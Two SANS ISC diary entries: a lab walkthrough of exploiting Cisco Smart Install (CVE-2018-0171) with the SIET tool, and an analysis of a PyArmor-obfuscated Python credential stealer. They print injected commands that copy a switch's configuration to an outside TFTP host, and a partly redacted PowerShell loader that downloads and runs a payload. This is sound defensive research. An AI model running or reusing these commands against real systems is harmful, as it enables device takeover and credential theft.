Network Infraxploit [Guest Diary]

    Published: 2025-04-09. Last Updated: 2025-04-10 00:38:56 UTC
    by Guy Bruneau (Version: 1)
    0 comment(s)

    [This is a Guest Diary by Matthew Gorman, an ISC intern as part of the SANS.edu BACS program]

    Background

    I recently had the opportunity to get hands on with some Cisco networking devices. Due to being a network engineer prior to my current job as a network forensics analyst, I have a relatively solid understanding of these infrastructure devices and how they work. I wanted to write this blog detailing some of the critical oversights I see in my current job that are common for these devices and how they are abused by attackers that are also familiar with how they work. To demonstrate this I will be walking through a vulnerability that was first discovered in 2018 for these network Infrastructure devices, CVE-2018-0171, a Remote Code Execution exploit targeting Cisco’s Smart Install feature. 

    CVE-2018-0171

    Cisco’s Smart Install feature is a “plug and play”[1] configuration feature that allows for new networking devices to be deployed remotely and when plugged in they will configure themselves automatically without needing the support of a network administrator. This greatly eases the burden of network administrators needing to go on site where the device is to make the basic initial configuration changes to ensure it is remotely accessible. 

    The problem with smart install is three pronged. First, this feature is enabled by default on Cisco devices.[2] The second is that, by design, Smart Install protocol does not require authentication prior to use. The third, and last, prong is that due to the nature of the devices facilitating the flow of network traffic in and out of organizations, the port is often publicly accessible. In fact, doing a cursory search on Censys for this port and the service name associated with Cisco Smart Install (SMI) pulled up 1,239 devices with this service publicly accessible.

    To be clear, this is not to say that all 1,239 of these devices are vulnerable to this particular CVE. This is simply illustrating the prevalence of publicly accessible devices running the Smart Install service.

    So in 2018 when Cisco publishes a critical vulnerability with remote code execution capabilities that impacts a service that is designed to be open to the internet it becomes a popular exploit fast. The flaw in the smart install service allows an attacker to craft a packet with a Smart Install message that would be improperly validated, allowing the supplied command to be run without authentication.

    In an effort to develop additional analytical insights into this attack I was able to get hands on with some outdated Cisco devices and pull an open source tool that targets this vulnerability called the Smart Install Exploit Tool (SIET)[3].

    SIET Script Analysis

    For this use case, I used a Cisco Catalyst 3750 switch running on IOS 12.2.(55) SE11 firmware. Using the Cisco Software Checker tool,[4] I identified that this version of IOS had 32 different identified vulnerabilities to include 3 that were rated as “Critical”. One of those “Critical” vulnerabilities included CVE-2018-0171. Upon confirming the switch was vulnerable to CVE-2018-0171, I downloaded the SIET tool from GitHub to examine how it works. Looking at the python script that the Smart Install Exploit Tool (v3) is built on; SIET has several functions that exist to perform different actions towards the targeted device. These functions include:

    conn_with_client
    This sets a connection with the remote cisco device and prints different messages depending on the response from the targeted device.

    test_device
    This creates a malicious Smart Install packet and calls the conn_with_client function to send it to the remote device.

    change_tftp
    This function calls the conn_with_client function to connect to the targeted cisco device and depending on the set mode the Threat Actor (TA) selects performs different actions. The specified modes allow the actor to upload their own altered configuration file to replace the existing configuration file on the targeted device (or multiple devices, if specified), use TFTP to transfer the existing configuration file to the TA’s IP address, or have the targeted device download a potentially malicious or trojanized Cisco IOS image file from the TA’s IP address. 

    Summarily, this exploit tool provides a significant amount of capability to a Threat Actor seeking to gain access to an unpatched Cisco networking device hosting the Smart Install service.

    Packet Analysis

    After setting up the connection from my laptop to the Cisco 3750 switch. I configured the switch to turn on the Smart Install service by issuing the command “vstack”. This is configured by default but, in this case, had been turned off during previous testing. Issuing this command starts up a TCP listener on port 4786 that smart install uses to respond to Smart Install Director Requests. Smart Install Directors are a role in the Cisco Smart Install architecture that acts as a central management hub for all Smart Install enabled clients, in this case it is the Cisco 3750 switch.

    Once the switch was configured, I fired up SIETv3 and ran the script with the flag “-h” to pull up the help menu. 

    As seen above this tool has several options that can be run against vulnerable Cisco networking devices. The one I used in this scenario was the “-g” flag to pull back the configuration of the device. Prior to running the command I started wireshark to make sure I captured the attack on a packet level. 

    After running the attack and successfully pulling back the configuration of the Cisco 3750 I stopped the packet capture. Below is a snippet from the packet capture that shows the structure of the attack from a high level. 

    Generally, the attack, as I had specified, follows a pattern of connecting to the Smart Install port (4786) and then using the Trivial File Transfer Protocol to then grab the contents of the running configuration of the Cisco switch. 

    Interestingly examining the TCP packets that are communicating on port 4786 There is a single packet that is much larger in length than the others. In this packet capture it is packet 43 with a length of 1102 bytes. 

    Examining the data portion of this packet reveals some interesting commands being issued from my laptop to the 3750. Specifically, my laptop is using the Smart Install port to first issue the command “copy system:running-config flash:/config.txt”. This command takes the running configuration file that exists in the system directory and copies it over to the flash directory with the name “config.text”. SIET then follows up this command with another one that says “copy flash:/config.text. tftp://192.168.10.2/192.168.10.1.conf” this command takes the newly copied over config.text file and, using the TFTP protocol, copies it to my laptop with the new name of “192.168.10.1.conf”. 

    After these two commands the TFTP file transfer begins and because TFTP is a clear text protocol it is possible to see the entire running configuration of the 3750 in the data portion of the TFTP packets. Below is the data portion of packet 66 which shows a portion of the configuration in clear text

    Running-Configuration Analysis

    Examining the file that is being transferred just in the data portion of these TFTP packets in wireshark makes it a little hard to parse. Luckily, Wireshark includes a file carving tool that will compile the entire file that was transferred and while making it easier to parse.

    To do so, I used the TFTP option under “File -> Export Objects -> TFTP…”. This pulls up the below window that displays the last packet of the file transfer, the size of the transfer, and the name of the file as named in the second command issued in packet 43. 

    From here I saved off the file and pulled it up in a text editor to examine the whole running configuration file that was transferred. Below is a screenshot of the first several lines of the running configuration. A quick note, I did edit the text file to censor the passwords used on this device (denoted by “<CENSORED>”) for privacy and security reasons. 

    With this information, in a Threat Actors (TA) hand, they could examine the running configuration to probe for additional vulnerabilities they could use to further exploit. For example, in this case I have several Type 7 passwords configured on this switch, which are denoted by the “password 7”. Type 7 passwords are passwords that have been encrypted using a Vignere cipher. Unfortunately, the key for this cipher has been public for many years and as a result, there are several websites, github tools, and tools embedded into offensive platforms such as Kali Linux, that can crack these passwords immediately. Due to this, the NSA strongly recommends against using type 7 passwords in any form[5]. 

    The 3750, however, does have type 7 passwords configured for the local accounts with admin privileges (admin accounts are distinguished via “privilege 15”, the highest privilege level on a Cisco device) on the device and with the unedited version of this running configuration a TA would easily be able to crack the passwords for these accounts. Should the SSH configurations for this device be equally unsecure, lacking an Access Control List for example, a Threat Actor could be able to login with the newly cracked credentials using a legitimate account that was provisioned for use by the owners of the device. This would limit the detectable footprint of a TA’s activity by not forcing them to make a new account on the device that may stand out if an organization is closely monitoring account creation on network devices in their environment.

    Conclusion

    It is an unfortunate reality that while this particular vulnerability may be the age of the average American second grader[6] (reaching 7 years old by March 28, 2025), this vulnerability is still actively being exploited with incredible degrees of success. GreyNoise, a cyber threat intelligence company, and Cisco Talos, Cisco’s threat intelligence arm, have both published blog posts on the active use of CVE-2018-0171 by the TA known as Salt Typhoon.[7][8] Salt Typhoon is an Advanced Persistent Threat (APT) actor based out of the People’s Republic of China and was recently reported to be behind a campaign of attacks that gained media attention in the fall of 2024. These attacks, described by one U.S. Senator as the, “worst telecom hack in our nation’s history”,  were against several major US-based Internet Service Providers that operate globally to include companies such as Verizon, AT&T, and T-Mobile.[9] While the impact of these hacks is still being understood today, what we do know is that there are significant security gaps when it comes to the monitoring and management of the network infrastructure devices that stitch together the internet. These devices will continue to be a lucrative target for APTs, Cybercriminals, and others that wish to get a foothold in critical infrastructure. Unless organizations begin prioritizing the hardening and visibility of the network infrastructure, vulnerabilities like CVE-2018-0171 will remain open doors for adversaries.  

    [1] https://www.cisco.com/c/en/us/td/docs/switches/lan/smart_install/configuration/guide/smart_install/concepts.html
    [2] https://www.nsa.gov/portals/75/documents/what-we-do/cybersecurity/professional-resources/orn-cisco-smart-install.pdf
    [3] https://github.com/frostbits-security/SIET
    [4]  https://sec.cloudapps.cisco.com/security/center/softwarechecker.x
    [5] https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/1/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
    [6] https://www.cde.state.co.us/datapipeline/grade-age-chart
    [7] https://www.greynoise.io/blog/greynoise-observes-active-exploitation-of-cisco-vulnerabilities-tied-to-salt-typhoon-attacks
    [8] https://blog.talosintelligence.com/salt-typhoon-analysis/
    [9] https://www.washingtonpost.com/national-security/2024/11/21/salt-typhoon-china-hack-telecom/
    [10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

    -----------
    Guy Bruneau IPSS Inc.
    My GitHub Page
    Twitter: GuyBruneau
    gbruneau at isc dot sans dot edu

    0 comment(s)
    ISC Stormcast For Wednesday, April 9th, 2025 https://isc.sans.edu/podcastdetail/9400

    Obfuscated Malicious Python Scripts with PyArmor

    Published: 2025-04-09. Last Updated: 2025-04-09 06:30:05 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    Obfuscation is very important for many developers. They may protect their code for multiple reasons like copyright, anti-cheat (games), or to protect their code from being reused. If an obfuscated program does not mean automatically that it is malicious, it’s often a good sign. For malware developers, obfuscation helps bypass many static security controls and slows down the reverse analysis process.

    There are two main ways to obfuscate your code: directly at development time (strings obfuscation, code pollution, functions and variables names, …) or through another tool that will take the original program as input and generate a brand new one.

    Yesterday, I spotted some malicious Python scripts that were protected using the same technique: PyArmor[1]. This tool is not coming from the underground and is an official tool to deeply obfuscate Python scripts, and it performs a pretty decent job!

    Let’s have a look at one of them delivered through a piece of JavaScript: update.js (SHA256: 64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa[2]). The script is a one-liner:

    var WshShell = new ActiveXObject("Wscript.Shell");
    WshShell.run("Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUA ...[Redacted] ... 8ACAAaQBlAHgA", 0, false);

    The decoded Base64 data reveals another one:

    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"JFVSTCA9ICdo ... [Redacted] ... 2NyaXB0UGF0aCINCg=="}' | ConvertFrom-Json).Script)) | iex

    Did you see that the next payload is stored in a JSON object?  Here is the decoded script:

    $URL = 'hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip'
    $OutFile = Join-Path $env:TEMP 'py.zip'
    $ExtractPath = $env:TEMP
    $pythonExe = 'pythonw.exe'
    $scriptPy = 'exec.py'
    
    $ProgressPreference = 'SilentlyContinue'
    Invoke-WebRequest -Uri $URL -OutFile $OutFile
    
    if (Test-Path -Path (Join-Path $ExtractPath 'python3')) {
        Remove-Item -Path (Join-Path $ExtractPath 'python3') -Recurse -Force
    }
    
    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [System.IO.Compression.ZipFile]::ExtractToDirectory($OutFile, $ExtractPath)
    
    $pythonPath = Join-Path (Join-Path $ExtractPath 'python3') $pythonExe
    $scriptPath = Join-Path (Join-Path $ExtractPath 'python3') $scriptPy
    
    Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c set REALTEKAUDIO=hxxps://postprocesser[.]com/.well-known/pki-validation/go/cinnamonroll.php?id=mumu && set PROCNAME=Main && $pythonPath $scriptPath"

    The downloaded archive python3.zip contains a stand-alone Python environment and also the next payload (exec.py):

    # Pyarmor 8.5.11 (pro), 005724, non-profits, 2024-12-13T07:33:37.517122
    from pyarmor_runtime_005724 import __pyarmor__
    __pyarmor__(__name__, __file__, b'PY005724\x00\x03\x0b\x00\xa7\r\r\n\x80 ... [Redacted] ... \xff\xe3m\x82\xdboi,\x85i\xf0')

    If you execute this code in a sandbox, it will perform many suspicious actions:

    wmic path win32_VideoController get name
    wmic csproduct get UUID
    taskkill /F /IM msedge.exe
    taskkill /F /IM chrome.exe

    Then crash…

    How to get more details about this Python script? PyArmor can’t be deobuscated easily (especially the latest version). Let’s try to extract some piece of memory. As described in the PyArmor documentation[3], it serializes code objects and obfuscates them to protect constants and literal strings. Python marshal[4] is used for this.

    Using Frida[5], let’s try to get access to some memory regions. We can hook PyMarshal_ReadObjectFromString() and dump data on disk. Here is a quick Frida script:

    const marshalLoads = Module.findExportByName(null, "PyMarshal_ReadObjectFromString");
    if (marshalLoads !== null) {
        console.log("Found marshal.loads at: " + marshalLoads);
        Interceptor.attach(marshalLoads, {
            onEnter: function (args) {
                this.buf = args[0];
                this.len = args[1].toInt32();
            },
            onLeave: function (retval) {
                const raw = Memory.readByteArray(this.buf, this.len);
                const filename = `marshal_dump_${Date.now()}.pyc`;
                const f = new File(filename, "wb");
                f.write(raw);
                f.close();
                console.log("[+] Dumped marshal.loads payload to: " + filename);
            }
        });
    } else {
        console.log("marshal.loads not found.");
    }

    Let’s execute the script again through Frida:

     

    C:\Users\REM\AppData\Local\Temp\python3>frida -l .\hook.js -f .\python.exe exec.py
         ____
        / _  |   Frida 16.7.4 - A world-class dynamic instrumentation toolkit
       | (_| |
        > _  |   Commands:
       /_/ |_|       help      -> Displays the help system
       . . . .       object?   -> Display information about 'object'
       . . . .       exit/quit -> Exit
       . . . .
       . . . .   More info at https://frida.re/docs/home/
       . . . .
       . . . .   Connected to Local System (id=local)
    Spawning `.\python.exe exec.py`...
    Found marshal.loads at: 0x7ffbceb68fc8
    Spawned `.\python.exe exec.py`. Resuming main thread!
    [+] Dumped marshal.loads payload to: marshal_dump_1744177893798.pyc
    ...

    We had a hit on the hooked function! The result file is not a Python bytecode as expected but just data without relevant strings (only related to the Python environment).

    Another approach is to dump the process completely then search for strings again (because once in memory, it has been deobfuscated).

    Interesting strings are present in memory and reveal a classic Python script:

    esurroundtogethertomorrowtortoisetransferumbrellauniverseDwmFlushAbortDocDeleteDCMoveToExResetDCWoleaut32SetFocusCopyRectPtInRectDrawIconFillRectEndPaintClassANYQuestiondaylightSHA1-RSADSA-SHA1DNS nameavx512cdavx512eravx512pfavx512dq2.5.4.102.5.4.112.5.4.17FakeErrorfork/execcontinuedRemoveAll#execwaitinterruptbus errorntdll.dllFindCloseLocalFreeMoveFileWWriteFileWSASendTowiresharkprl_toolsprocmon64exeinfopeproxifierhttpdebugmitmproxytitanhideSERVER-PCLOUISE-PCBECKER-PCkEecfMwgjralphs-pcGANGISTANRALPHS-PCj6SHA37KAkeecfmwgjQmIS5df7upWOuqdTDQUox1tzaMOrB5BnfuR2txWas1m2ta.monaldoUser DataMicrosoft%s//UsersPasswordsDownloadsAutofillsBitFinityDoge LabsLiqualityMaiarDEFI\bytecoinnot foundopera.exebrave.exeDCBrowserSeaMonkeyIceDragonPale MoonUrBrowsermotdepassDocumentsTLauncheralts.jsonalts.novoLightcord

    You can see some search sandbox names (“SERVER”, “PC-LOUISE”, …) as well as process names (“procmon64”, “execinfope”, …)

    Another interesting one:

    failed to write to key log

    Credit cards and wallet activity:

    Credit Cards: %-50s %-50s %-50s\Electrum\walletsbrowser not foundEpicGamesLauncher

    It seems to be a classic stealer...

    If you have tools or processes to deobfuscate PyArmor-protected script, please share!

    [1] https://github.com/dashingsoft/pyarmor
    [2] https://www.virustotal.com/gui/file/64bcf9eb0a54230372438a09ba0ac9e5fa753622e88713d80b9298ab219540fa/details
    [3] https://pyarmor.readthedocs.io/en/v7.3.3/how-to-do.html
    [4] https://docs.python.org/3/library/marshal.html
    [5] https://frida.re

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)

      Comments


      Diary Archives